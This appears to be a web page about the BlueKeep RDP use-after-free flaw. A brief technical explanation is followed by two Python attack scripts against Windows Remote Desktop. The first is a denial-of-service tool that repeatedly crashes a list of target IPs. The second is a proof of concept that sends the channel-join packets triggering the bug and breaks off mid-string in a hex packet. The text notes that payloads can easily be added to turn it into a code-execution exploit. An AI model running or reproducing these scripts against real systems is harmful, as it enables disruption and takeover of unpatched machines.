BlueKeep is a use-after-free vulnerability, meaning that the program tries to use memory after it is supposed to have discarded it. The vulnerability lies in termdd.sys, which is the RDP kernel driver. A user can exploit this by opening an RDP connection to a remote computer called a channel – in this case a default RDP channel called MS_T210 – and sending specially crafted data to it.
The exploit runs code on Windows XP, they said, but warned that it would probably crash Windows 7 or Server 2008 machines.
By sending a specially crafted packet an attacker is able to set the value for the Channel ID to something the RDP service isn’t expecting, this causes a memory corruption bug that will create the conditions for Remote Code Execution to occur. Should the attacker choose to follow up with packets designed to take advantage of this flaw remote code execution can be achieved with System user privileges.
There are no payloads. This is just a PoC. HOWEVER it is easily ported to an exploit since you can easily add payloads to this.

Bluekeep weaponized dos

import time
 
import socket
 
import struct
 
import argparse
 
import binascii
 
from OpenSSL import SSL
 
from impacket.impacket.structure import Structure
 
class Parser(argparse.ArgumentParser):
 

 
def __init__(self):
 
super(Parser, self).__init__()
 
 
 
@staticmethod
 
def optparse():
 
parser = argparse.ArgumentParser()
 
parser.add_argument(
 
"-i", "--ip", dest="ipToAttack", metavar="IP[,IP,IP,..]", default=None,
 
help="Pass a list of IP addresses separated by a comma or a single IP address (*default=None)"
 
)
 
parser.add_argument(
 
"-a", "--arch", type=int, choices=(32, 64), dest="archSelected", metavar="ARCHITECTURE", default=64,
 
help="Pass the architecture of the target you are attacking (*default=64)"
 
)
 
parser.add_argument(
 
"-t", "--dos-times", type=int, dest="dosTime", default=60, metavar="AMOUNT",
 
help="Pass how many times you want to DoS the target before exiting (*default=60)"
 
)
 
parser.add_argument(
 
"-w", "--wait-time", type=int, dest="waitTime", default=70, metavar="SECONDS",
 
help="Pass how long you want to wait in between DoS's (*default=70)"
 
)
 
parser.add_argument(
 
"-v", "--verbose", action="store_true", default=False, dest="runVerbose",
 
help="Show the received packets (*default=False)"
 
)
 
return parser.parse_args()
 
 
 
 
 
# same structure bullshit
 
class TPKT(Structure):
 
commonHdr = (
 
('Version', 'B=3'),
 
('Reserved', 'B=0'),
 
('Length', '>H=len(TPDU)+4'),
 
('_TPDU', '_-TPDU', 'self["Length"]-4'),
 
('TPDU', ':=""'),
 
)
 
 
 
 
 
class TPDU(Structure):
 
commonHdr = (
 
('LengthIndicator', 'B=len(VariablePart)+1'),
 
('Code', 'B=0'),
 
('VariablePart', ':=""'),
 
)
 
 
 
def __init__(self, data=None):
 
Structure.__init__(self, data)
 
self['VariablePart'] = ''
 
 
 
 
 
class CR_TPDU(Structure):
 
commonHdr = (
 
('DST-REF', '<H=0'),
 
('SRC-REF', '<H=0'),
 
('CLASS-OPTION', 'B=0'),
 
('Type', 'B=0'),
 
('Flags', 'B=0'),
 
('Length', '<H=8'),
 
)
 
 
 
 
 
class DATA_TPDU(Structure):
 
commonHdr = (
 
('EOT', 'B=0x80'),
 
('UserData', ':=""'),
 
)
 
 
 
def __init__(self, data=None):
 
Structure.__init__(self, data)
 
self['UserData'] = ''
 
 
 
 
 
class RDP_NEG_REQ(CR_TPDU):
 
structure = (
 
('requestedProtocols', '<L'),
 
)
 
 
 
def __init__(self, data=None):
 
CR_TPDU.__init__(self, data)
 
if data is None:
 
self['Type'] = 1
 
 
 
 
 
def unpack(packet):
 
"""
 
unpack a packet into its hex
 
"""
 
return binascii.unhexlify(packet)
 
 
 
 
 
def structify(packet, struct_mode, differences):
 
"""
 
structify the packets if needed
 
"""
 
assert type(differences) == tuple
 
differs = [struct.pack(struct_mode, len(packet)), struct.pack(struct_mode, len(packet) - differences[0]),
 
struct.pack(struct_mode, len(packet) - differences[1]),
 
struct.pack(struct_mode, len(packet) - differences[2]),
 
struct.pack(struct_mode, len(packet) - differences[3]),
 
struct.pack(struct_mode, len(packet) - differences[4])]
 
return differs
 
 
 
 
 
def send_initialization_pdu_packet(host, verbose=False):
 
"""
 
initialize the RDP request
 
"""
 
tpkt = TPKT()
 
tpdu = TPDU()
 
rdp_neg = RDP_NEG_REQ()
 
rdp_neg['Type'] = 1
 
rdp_neg['requestedProtocols'] = 1
 
tpdu['VariablePart'] = rdp_neg.getData()
 
tpdu['Code'] = 0xe0
 
tpkt['TPDU'] = tpdu.getData()
 
# start the session
 
session = socket.socket()
 
session.connect((host, 3389))
 
session.sendall(tpkt.getData())
 
results = session.recv(8192)
 
if verbose:
 
print("[@] received: {}".format(repr(results)))
 
# turn the session into a SSL connection
 
ctx = SSL.Context(SSL.TLSv1_METHOD)
 
tls = SSL.Connection(ctx, session)
 
tls.set_connect_state()
 
# handshake like a man
 
tls.do_handshake()
 
return tls
 
 
 
 
 
def send_client_data_pdu_packet(tls, deletion_structure=(12, 109, 118, 132, 390), verbose=False):
 
"""
 
client information packet
 
"""
 
# i've done some more research and this can be a fixed length, but idk what the fixed length is
 
# and i dont feel like figuring it out
 
packet = unpack(
 
"030001ca02f0807f658207c20401010401010101ff30190201220201020201000201010201000201010202ffff0201023019020101020"
 
"10102010102010102010002010102020420020102301c0202ffff0202fc170202ffff0201010201000201010202ffff02010204820161"
 
"000500147c00018148000800100001c00044756361813401c0ea000a0008008007380401ca03aa09040000ee4200004400450053004b0"
 
"054004f0050002d004600380034003000470049004b00000004000000000000000c000000000000000000000000000000000000000000"
 
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ca0100000000001"
 
"8000f00af07620063003700380065006600360033002d0039006400330033002d003400310039380038002d0039003200630066002d00"
 
"00310062003200640061004242424207000100000056020000500100000000640000006400000004c00c00150000000000000002c00c0"
 
"01b0000000000000003c0380004000000726470736e6400000f0000c0636c6970726472000000a0c0647264796e766300000080c04d53"
 
"5f543132300000000000"
 
)
 
size_differ_0, size_differ_1, size_differ_2, size_differ_3, size_differ_4, size_differ_5 = structify(
 
packet, '>h', deletion_structure
 
)
 
bin_differ = bytearray()
 
bin_differ.extend(map(ord, packet))
 
bin_differ[2] = size_differ_0[0]
 
bin_differ[3] = size_differ_0[1]
 
bin_differ[10] = size_differ_1[0]
 
bin_differ[11] = size_differ_1[1]
 
bin_differ[107] = size_differ_2[0]
 
bin_differ[108] = size_differ_2[1]
 
bin_differ[116] = 0x81
 
bin_differ[117] = size_differ_3[1]
 
bin_differ[130] = 0x81
 
bin_differ[131] = size_differ_4[1]
 
bin_differ[392] = size_differ_5[1]
 
tls.sendall(bytes(bin_differ))
 
results = tls.recv(8192)
 
if verbose:
 
print("[@] received: {}".format(repr(results)))
 
 
 
 
 
def send_client_information_pdu_packet(tls):
 
"""
 
client info packets
 
"""
 
packet = unpack(
 
"0300016102f08064000703eb7081524000a1a509040904bb47030000000e00080000000000000041004100410041004100410041000000"
 
"740065007300740000000000000002001c003100390032002e004141410038002e003200330032002e0031000000400043003a005c0057"
 
"0049004e0041414100570053005c00730079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c00"
 
"0000a40100004d006f0075006e007400610069006e0020005300740061006e0064006100720064002000540069006d0065000000000000"
 
"00000000000000000000000000000000000b00000001000200000000000000000000004d006f0075006e007400610069006e0020004400"
 
"610079006c0069006700680074002000540069006d00650000000000000000000000000000000000000000000000030000000200020000"
 
"0000000000c4ffffff0100000006000000000064000000"
 
)
 
tls.sendall(bytes(packet))
 
 
 
 
 
def send_channel_pdu_packets(tls, retval_size=1024, verbose=False):
 
"""
 
channel join
 
erect domain
 
and user packets in one swoop
 
"""
 
packet = unpack("0300000c02f0800401000100")
 
tls.sendall(bytes(packet))
 
packet = unpack("0300000802f08028")
 
tls.sendall(bytes(packet))
 
results = tls.recv(retval_size)
 
if verbose:
 
print("[@] received: {}".format(repr(results)))
 
packet = unpack("0300000c02f08038000703eb")
 
tls.sendall(bytes(packet))
 
results = tls.recv(retval_size)
 
if verbose:
 
print("[@] received: {}".format(repr(results)))
 
packet = unpack("0300000c02f08038000703ec")
 
tls.sendall(bytes(packet))
 
results = tls.recv(retval_size)
 
if verbose:
 
print("[@] received: {}".format(repr(results)))
 
packet = unpack("0300000c02f08038000703ed")
 
tls.sendall(bytes(packet))
 
results = tls.recv(retval_size)
 
if verbose:
 
print("[@] received: {}".format(repr(results)))
 
packet = unpack("0300000c02f08038000703ee")
 
tls.sendall(bytes(packet))
 
results = tls.recv(retval_size)
 
if verbose:
 
print("[@] received: {}".format(repr(results)))
 
packet = unpack("0300000c02f08038000703ef")
 
tls.sendall(bytes(packet))
 
results = tls.recv(retval_size)
 
if verbose:
 
print("[@] received: {}".format(repr(results)))
 
 
 
 
 
def send_confirm_active_pdu_packet(tls):
 
"""
 
confirm the user is active
 
"""
 
packet = unpack(
 
"0300026302f08064000703eb70825454021300f003ea030100ea0306003e024d5354534300170000000100180001000300000200000000"
 
"1d04000000000000000002001c00200001000100010080073804000001000100001a010000000300580000000000000000000000000000"
 
"0000000000000001001400000001000000aa000101010101000001010100010000000101010101010101000101010000000000a1060600"
 
"000000000084030000000000e404000013002800030000037800000078000000fc09008000000000000000000000000000000000000000"
 
"000a0008000600000007000c00000000000000000005000c00000000000200020008000a0001001400150009000800000000000d005800"
 
"910020000904000004000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000"
 
"00000000000000000000000000000000000000000000000000000000000c000800010000000e0008000100000010003400fe000400fe00"
 
"0400fe000800fe000800fe001000fe002000fe004000fe008000fe0000014000000800010001030000000f0008000100000011000c0001"
 
"0000000028640014000c00010000000000000015000c0002000000000a00011a000800af9400001c000c0012000000000000001b000600"
 
"01001e0008000100000018000b0002000000030c001d005f0002b91b8dca0f004f15589fae2d1a87e2d6010300010103d4cc44278a9d74"
 
"4e803c0ecbeea19c54053100310000000100000025000000c0cb080000000100c1cb1d00000001c0cf0200080000014000020101010001"
 
"400002010104"
 
)
 
byte_differ = bytearray()
 
byte_differ.extend(map(ord, packet))
 
tls.sendall(bytes(byte_differ))
 
 
 
 
 
def send_establish_session_pdu_packet(tls):
 
"""
 
establish the connection
 
"""
 
packet = unpack("0300002402f08064000703eb701616001700f003ea030100000108001f0000000100ea03")
 
tls.sendall(bytes(packet))
 
packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010c00140000000400000000000000")
 
tls.sendall(bytes(packet))
 
packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010c00140000000100000000000000")
 
tls.sendall(bytes(packet))
 
packet = unpack(
 
"0300058102f08064000703eb70857272051700f003ea030100000100002b00000000000000a9000000000000000000a900000000000200"
 
"0000a3ce2035db94a5e60da38cfb64b763cae79a84c10d67b791767121f96796c0a2775ad8b2744f30352be7b0d2fd81901a8fd55eee5a"
 
"6dcbea2fa52b06e90b0ba6ad012f7a0b7cff89d3a3e1f80096a68d9a42fcab14058f16dec805baa0a8ed30d86782d79f84c33827da61e3"
 
"a8c365e6ec0cf63624b20ba6171f463016c7736014b5f13a3c957d7d2f747e56ff9ce001329df2d9355e95782fd5156c18340f43d72b97"
 
"a9b428f4736c16db43d7e5580c5a03e37358d7d976c2fe0bd7f412431b706d74c23df12660588031070e85a395f89376999feca0d4955b"
 
"05fa4fdf778a7c299f0b4fa1cbfa9566ba47e3b044df83034424f41ef2e5cba95304c276cb4dc6c2d43fd38cb37cf3aaf393fe25bd327d"
 
"486e939668e5182bea84256902a538656f0f9ff6a13a1d229d3f6de04cee8b24f0dcff7052a70df9528a1e331a301115d7f895a9bb7425"
 
"8ce3e9930743f55060f7962ed3ff63e0e324f1103d8e0f56bc2eb8900cfa4b9668fe596821d0ff52fe5c7d90d439be479d8e7aaf954f10"
 
"ea7b7ad3ca07283e4e4b810ef15f1f8dbe0640272f4a03803267542f93fd255d6da0ad234572ffd1eb5b5175a761e03fe4eff496cda513"
 
"8ae6527470bfc1f9fb689edd728fb4445f3acb752a20a669d276f957462b5bdaba0f9be060e18b9033410a2dc506fed0f0fcde35d41eaa"
 
"760baef4d5bdfaf355f5c16765751c1d5ee83afe54502304ae2e71c27697e639c6b2258792635261d16c07c11c00300da72f55a34f23b2"
 
"39c7046c97157ad72433912806a6e7c3795cae7f5054c2381e90231dd0ff5a56d61291d296decc62c8ee9a4407c1ecf7b6d99cfe301cdd"
 
"b33b93653cb480fbe387f0ee42d8cf08984de76b990a43ed137290a967fd3c6336ec55faf61f35e728f387a6ce2e34aa0db2fe1718a20c"
 
"4e5ff0d198624a2e0eb08db17f32528e87c9687c0cefee88ae742a33ff4b4dc5e5183874c72883f77287fc79fb3eced051132d7cb458a2"
 
"e628674feca6816cf79a29a63bcaecb8a12750b7effc81bf5d862094c01a0c4150a95e104a82f1741f7821f5706124003d475ff325803c"
 
"4beaa3f477eaa1421a170f6da8359e9126344304c6c65b217d8cc722917b2c2d2fd67ea552a80880eb60d144098e3ca1aa67600a26c6b5"
 
"c679a64f8b8c255cf10b23f4d8a66df19178f9e52a502f5a4422d9195cafd6ac97a2f80d0ce3dd884898280b8bbd76dcdecae2c24a8750"
 
"d48c775ad8b2744f3035bf28aed9a298a5bc60cab8904d2046d98a1a30018b38631a57095146959bd8800cb07724bf2bd35722d9195caf"
 
"d6ac97a2f80d0ce3dd884898280b8bbd76dcdecae2c24a8750d48c569238ed6b9b5b1fba53a10ef7751053224c0a758854693f3bf31867"
 
"6b0f19d1002586cda8d9dd1d8d268754d979c0746590d73332afba9d5ad56c7ca147e1496e1cce9f62aa26163f3cec5b49e5c060d4bea7"
 
"88bca19f29718ceb69f873fbaf29aa401be592d277a72bfbb677b731fbdc1e63637df2fe3c6aba0b20cb9d64b83114e270072cdf9c6fb5"
 
"3ac4d5b5c93e9ad7d530dc0e1989c60888e1ca81a628dd9c740511e7e1ccbcc776dd55e2ccc2cbd3b64801ddffbaca31ab26441cdc0601"
 
"dff29050b86b8fe829f0baecfb2dfd7afc7f57bdea90f7cf921ec420d0b69fd6dca182a96c5e3e83415773e9e75a3fda244f735ef4e092"
 
"24bd0bd03c4996b5b50532cb581d6f9751ee0cdc0b2a60ef973e5a30811591cf1107252c41db7072e175f6a5ffe844e703e361aadbe007"
 
"3d070be35c09a95e10fdcf749e23f1308616ef254efea493a5800a0139cc117a6e94225bd8c6c9a8df1396b391336e87bb94632d8864a7"
 
"5889dadc7f2ae3a166e5c87fc2dbc77d2fa946284569bcac9f859eb09f9a49b4b1cb"
 
)
 
tls.sendall(bytes(packet))
 
packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010000270000000000000003003200")
 
tls.sendall(bytes(packet))
 
 
 
 
 
def send_dos_packets(tls, arch_selected):
 
"""
 
theoretically, the arch shouldn't matter, but for good measures we'll make it matter
 
"""
 
arch_32_packet = unpack("0300002e02f08064000703ef70140c0000000300000000000000020000000000000000000000")
 
arch_64_packet = unpack(
 
"0300002e02f08064000703ef70140c000000030000000000000000000000020000000000000000000000000000000000000000000000"
 
)
 
if arch_selected == 32:
 
send_packet = bytes(arch_32_packet)
 
else:
 
send_packet = bytes(arch_64_packet)
 
tls.sendall(send_packet)
 
 
 
 
 
def main():
 
"""
 
main
 
"""
 
opt = Parser().optparse()
 
to_attack = []
 
 
 
if opt.ipToAttack is not None:
 
for ip in opt.ipToAttack.split(","):
 
to_attack.append(ip.strip())
 
else:
 
print("usage: python 2019-0708-dos.py -i IP[IP,IP,...] [-a 32|64]")
 
exit(1)
 
 
 
for target in to_attack:
 
try:
 
print("[+] DoSing target: {} a total of {} times".format(target, opt.dosTime))
 
for i in range(opt.dosTime):
 
print("[+] DoS attempt: {}".format(i+1))
 
print("[+] establishing initialization")
 
current_tls = send_initialization_pdu_packet(target, verbose=opt.runVerbose)
 
print("[+] sending ClientData PDU packets")
 
send_client_data_pdu_packet(current_tls, verbose=opt.runVerbose)
 
print("[+] sending ChannelJoin ErectDomain and AttachUser PDU packets")
 
send_channel_pdu_packets(current_tls, verbose=opt.runVerbose)
 
print("[+] sending ClientInfo PDU packet")
 
send_client_information_pdu_packet(current_tls)
 
print("[+] receiving current")
 
results = current_tls.recv(8000)
 
if opt.runVerbose:
 
print("[@] received: {}".format(repr(results)))
 
results = current_tls.recv(8000)
 
if opt.runVerbose:
 
print("[@] received: {}".format(repr(results)))
 
print("[+] confirming user is active")
 
send_confirm_active_pdu_packet(current_tls)
 
print("[+] establishing the connection")
 
send_establish_session_pdu_packet(current_tls)
 
print("[+] DoSing target: {}".format(target))
 
send_dos_packets(current_tls, opt.archSelected)
 
print("[+] target should be dead now, waiting {}s before starting again".format(opt.waitTime))
 
time.sleep(opt.waitTime)
 
print("\n[+] starting again\n")
 
except Exception as e:
 
print(
 
"[!] error on target: {} ({}), if this happened after a successful attack, change the wait "
 
"time".format(target, e)
 
)
 

if __name__ == '__main__':
 
main()

Bluekeep POC

import socket
 
import binascii
 
import argparse
 
 
 
from OpenSSL import *
 
from impacket.impacket.structure import Structure
 
 
 
 
 
# impacket structures
 
class TPKT(Structure):
 
commonHdr = (
 
('Version', 'B=3'),
 
('Reserved', 'B=0'),
 
('Length', '>H=len(TPDU)+4'),
 
('_TPDU', '_-TPDU', 'self["Length"]-4'),
 
('TPDU', ':=""'),
 
)
 
 
 
 
 
class TPDU(Structure):
 
commonHdr = (
 
('LengthIndicator', 'B=len(VariablePart)+1'),
 
('Code', 'B=0'),
 
('VariablePart', ':=""'),
 
)
 
 
 
def __init__(self, data=None):
 
Structure.__init__(self, data)
 
self['VariablePart'] = ''
 
 
 
 
 
class CR_TPDU(Structure):
 
commonHdr = (
 
('DST-REF', '<H=0'),
 
('SRC-REF', '<H=0'),
 
('CLASS-OPTION', 'B=0'),
 
('Type', 'B=0'),
 
('Flags', 'B=0'),
 
('Length', '<H=8'),
 
)
 
 
 
 
 
class DATA_TPDU(Structure):
 
commonHdr = (
 
('EOT', 'B=0x80'),
 
('UserData', ':=""'),
 
)
 
 
 
def __init__(self, data=None):
 
Structure.__init__(self, data)
 
self['UserData'] = ''
 
 
 
 
 
class RDP_NEG_REQ(CR_TPDU):
 
structure = (
 
('requestedProtocols', '<L'),
 
)
 
 
 
def __init__(self, data=None):
 
CR_TPDU.__init__(self, data)
 
if data is None:
 
self['Type'] = 1
 
 
 
 
 
# packing and unpacking binary data
 
class Packer(object):
 
 
 
def __init__(self, packet):
 
self.packet = packet
 
 
 
def bin_unpack(self):
 
return binascii.unhexlify(self.packet)
 
 
 
def bin_pack(self):
 
return binascii.hexlify(self.packet)
 
 
 
 
 
# PDU control sequence
 
class DoPduConnectionSequence(object):
 
 
 
@staticmethod
 
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
 
def connection_request_pdu():
 
packet = "030000130ee000000000000100080003000000"
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
 
def domain_request_pdu():
 
packet = "0300000c02f0800400010001"
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247
 
def mcs_attach_user_request_pdu():
 
packet = "0300000802f08028"
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
 
def mcs_connect_init_pdu():
 
packet = (
 
"030001ee02f0807f658201e20401010401010101ff30190201220201020201000201010201000201010202ffff02010230190201"
 
"0102010102010102010102010002010102020420020102301c0202ffff0202fc170202ffff0201010201000201010202ffff0201"
 
"0204820181000500147c00018178000800100001c00044756361816a01c0ea000a0008008007380401ca03aa09040000b11d0000"
 
"4400450053004b0054004f0050002d004600380034003000470049004b00000004000000000000000c0000000000000000000000"
 
"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
 
"0000000001ca01000000000018000f00af07620063003700380065006600360033002d0039006400330033002d00340031003938"
 
"0038002d0039003200630066002d0000310062003200640061004242424207000100000056020000500100000000640000006400"
 
"000004c00c00150000000000000002c00c001b0000000000000003c0680005000000726470736e6400000f0000c0636c69707264"
 
"72000000a0c0647264796e766300000080c04d535f5431323000000000004d535f5431323000000000004d535f54313230000000"
 
"00004d535f5431323000000000004d535f543132300000000000"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
 
def client_info_pdu():
 
packet = (
 
"0300016102f08064000703eb7081524000a1a509040904bb47030000000e00080000000000000042007200770041006600660079"
 
"000000740074007400740000000000000002001c00310030002e0030002e0030002e003700360000000000000000000000400043"
 
"003a005c00570049004e0044004f00570053005c00730079007300740065006d00330032005c006d007300740073006300610078"
 
"002e0064006c006c000000a40100004d006f0075006e007400610069006e0020005300740061006e006400610072006400200054"
 
"0069006d006500000000000000000000000000000000000000000000000b00000001000200000000000000000000004d006f0075"
 
"006e007400610069006e0020004400610079006c0069006700680074002000540069006d00650000000000000000000000000000"
 
"0000000000000000000300000002000200000000000000c4ffffff0100000006000000000064000000"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4c3c2710-0bf0-4c54-8e69-aff40ffcde66
 
def client_active_confirmation_pdu():
 
packet = (
 
"030001be02f0807f658201b20401010401010101ff30190201220201020201000201010201000201010202ffff0201023019020101"
 
"02010102010102010102010002010102020420020102301c0202ffff0202fc170202ffff0201010201000201010202ffff02010204"
 
"820151000500147c00018148000800100001c00044756361813a01c0ea000a0008008007380401ca03aa09040000ee420000440045"
 
"0053004b0054004f0050002d004600380034003000470049004b00000004000000000000000c000000000000000000000000000000"
 
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001"
 
"ca01000000000018000f00af07620063003700380065006600360033002d0039006400330033002d003400310039380038002d0039"
 
"003200630066002d0000310062003200640061004242424207000100000056020000500100000000640000006400000004c00c0015"
 
"0000000000000002c00c001b0000000000000003c0380004000000726470736e6400000f0000c0636c6970726472000000a0c06472"
 
"64796e766300000080c04d535f543132300000000000"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
def client_control_request_pdu():
 
packet = (
 
"0300003402f08064000603eb7026080081f83b8bb47256ffd1d64b171eaef68ddd75a0a316972912b7cf14c9110bd8c8faa1813a"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
def client_control_cooperate_pdu():
 
packet = (
 
"0300003402f08064000603eb7026080081f80403def791a37caf3f7a624e3bfeb67a28bf0d4f312703b94af1e626f0bdc5710a53"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/2d122191-af10-4e36-a781-381e91c182b7
 
def client_persistent_key_length_pdu():
 
packet = (
 
"0300010d02f08064000603eb7080fe08009016cec64a69d9d3499e10a5040fcfab4f6a3bda31034f29bd643e9846ec0a1dcd9cad"
 
"1358a3bd8b9daef1e99d439653f5d0b75088f381f1cbad1755759c5fefeca93540b37406d1aed1159fed9149a63d1fc131b11758"
 
"da0e24df1f878639d14666ea0e98d04b5b7b01b98ae8683280dab958a69f4fb5ba7904aed963c06aa8815197250b3fc3d247fa0a"
 
"7a221fbd5f4eb800ea3206e6af15e46fb3d3c14ccb0a8edda729070359c1c1081baa563cf5d089e3cdcf268b65590acb7e81b633"
 
"bb4d9a1380e7572a0d1d11b418c4312f4f897709942ec38ebffd6a392b47740e1274ec4514c36b27d6b69311a4bc46de694ab454"
 
"c72424998f60b72159"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
def client_font_list_pdu():
 
packet = (
 
"0300003402f08064000603eb7026080080fe98195cfb9292f59718b2b7c313dc03fb6445c0436d913726fd8e71e6f22a1eae3503"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
def do_join_request(size=30, do_padding=False):
 
channels, pdu_channels = range(1001, 1008), []
 
request_packets = {
 
"dep": "0300000c02f080380006",
 
"req": "0300000c02f080380008",
 
"ms_t120": "4d535f5431323000000000"
 
}
 
padding = "41" * size
 
if do_padding:
 
exp = request_packets["dep"] + request_packets["ms_t120"] + padding
 
results = Packer(exp).bin_unpack()
 
else:
 
for channel in channels:
 
current_channel = request_packets["req"] + hex(channel)[2:].zfill(4)
 
pdu_channels.append(Packer(current_channel).bin_unpack())
 
results = pdu_channels
 
return results
 
 
 
@staticmethod
 
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
 
def do_client_security_pdu_exchange():
 
packet = (
 
"0300005e02f08064000603eb7050010200004800000091ac0c8f648c39f4e7ff0a3b79115c13512acb728f9db7422ef7084c8eae"
 
"559962d28181e466c805ead473063fc85faf2afdfcf164b33f0a151ddb2c109d30110000000000000000"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
@staticmethod
 
def client_synchronization_pdu():
 
packet = (
 
"0300003002f08064000603eb7022280081f859ffcb2f73572b42db882e23a997c2b1f574bc49cc8ad8fd608a7af64475"
 
)
 
return Packer(packet).bin_unpack()
 
 
 
 
 
class Parser(argparse.ArgumentParser):
 
 
 
def __init__(self):
 
super(Parser, self).__init__()
 
 
 
@staticmethod
 
def optparse():
 
parser = argparse.ArgumentParser()
 
parser.add_argument("-i", "--ip", dest="ipAddyList", default=None,
 
help="provide a list of IP addresses separated by commas, or a single IP address"
 
)
 
parser.add_argument("-f", "--file", dest="ipAddyFile", default=None,
 
help="provide a file containing IP addresses, one per line")
 
return parser.parse_args()
 
 
 
 
 
# constants
 
GIS_RDP = []
 
TPDU_CONNECTION_REQUEST = 0xe0
 
TYPE_RDP_NEG_REQ = 1
 
PROTOCOL_SSL = 1
 
SENT = "\033[91m -->\033[0m"
 
RECEIVE = "\033[94m<-- \033[0m"
 
 
 
 
 
def info(string):
 
print("[ \033[32m+\033[0m ] {}".format(string))
 
 
 
 
 
def error(string):
 
print("[ \033[31m!\033[0m ] {}".format(string))
 
 
 
 
 
# connect the sockets and return the received data plus the connection in a Tuple
 
def socket_connection(obj, address, port=3389, receive_size=4000):
 
try:
 
session = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
session.connect((address, port))
 
session.sendall(obj)
 
return session.recv(receive_size), session
 
except Exception as e:
 
error(e)
 
return None
 
 
 
 
 
# check if the ip is running RDP or not
 
def check_rdp_service(address):
 
rdp_correlation_packet = Packer(
 
"436f6f6b69653a206d737473686173683d75736572300d0a010008000100000000"
 
).bin_unpack()
 
test_packet = DoPduConnectionSequence().connection_request_pdu()
 
send_packet = test_packet + rdp_correlation_packet
 
results = socket_connection(send_packet, address, receive_size=9126)
 
if results is not None:
 
if results[0]:
 
info("successfully connected to RDP service on host: {}".format(address))
 
GIS_RDP.append(address)
 
else:
 
error("unknown response provided from RDP session")
 
else:
 
error("unable to connect")
 
 
 
 
 
# start the connection like a boss
 
def start_rdp_connection(ip_addresses):
 
tpkt = TPKT()
 
tpdu = TPDU()
 
rdp_neg = RDP_NEG_REQ()
 
rdp_neg['Type'] = TYPE_RDP_NEG_REQ
 
rdp_neg['requestedProtocols'] = PROTOCOL_SSL
 
tpdu['VariablePart'] = rdp_neg.getData()
 
tpdu['Code'] = TPDU_CONNECTION_REQUEST
 
tpkt['TPDU'] = tpdu.getData()
 
for ip in ip_addresses:
 
try:
 
ip = ip.strip()
 
results = socket_connection(tpkt.getData(), ip, receive_size=1024)
 
ctx = SSL.Context(SSL.TLSv1_METHOD)
 
tls = SSL.Connection(ctx, results[1])
 
tls.set_connect_state()
 
tls.do_handshake()
 
 
 
# initialization packets (X.224)
 
info("sending Client MCS Connect Initial PDU request packet {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().mcs_connect_init_pdu())
 
returned_packet = tls.recv(8000)
 
info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))
 
 
 
# erect domain and attach user to domain
 
info("sending Client MCS Domain Request PDU packet {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().domain_request_pdu())
 
info("sending Client MCS Attach User PDU request packet {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().mcs_attach_user_request_pdu())
 
returned_packet = tls.recv(8000)
 
info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))
 
 
 
# send join requests on ridiculously high channel numbers to trigger the bug
 
info("sending MCS Channel Join Request PDU packets {}".format(SENT))
 
pdus = DoPduConnectionSequence().do_join_request()
 
for pdu in pdus:
 
tls.sendall(pdu)
 
channel_number = int(Packer(pdu).bin_pack()[-4:], 16)
 
returned_packet = tls.recv(1024)
 
info("{} received {} bytes from channel {} on host: {}".format(
 
RECEIVE, hex(len(returned_packet)), channel_number, ip
 
))
 
 
 
# my personal favorite is the security exchange, took me awhile to figure this one out
 
info("sending Client Security Exhcange PDU packets {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().do_client_security_pdu_exchange())
 
tls.sendall(DoPduConnectionSequence().client_info_pdu())
 
returned_packet = tls.recv(8000)
 
info("{} received {} bytes from host: {}".format(
 
RECEIVE, hex(len(returned_packet)), ip
 
))
 
 
 
# confirm that the client is now active
 
confirm_packet = (
 
"0300026302f08064000703eb70825454021300f003ea030100ea0306003e024d5354534300170000000100180001000300000"
 
"2000000001d04000000000000000002001c00200001000100010080073804000001000100001a010000000300580000000000"
 
"0000000000000000000000000000000001001400000001000000aa00010101010100000101010001000000010101010101010"
 
"1000101010000000000a1060600000000000084030000000000e404000013002800030000037800000078000000fc09008000"
 
"000000000000000000000000000000000000000a0008000600000007000c00000000000000000005000c00000000000200020"
 
"008000a0001001400150009000800000000000d005800910020000904000004000000000000000c0000000000000000000000"
 
"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
 
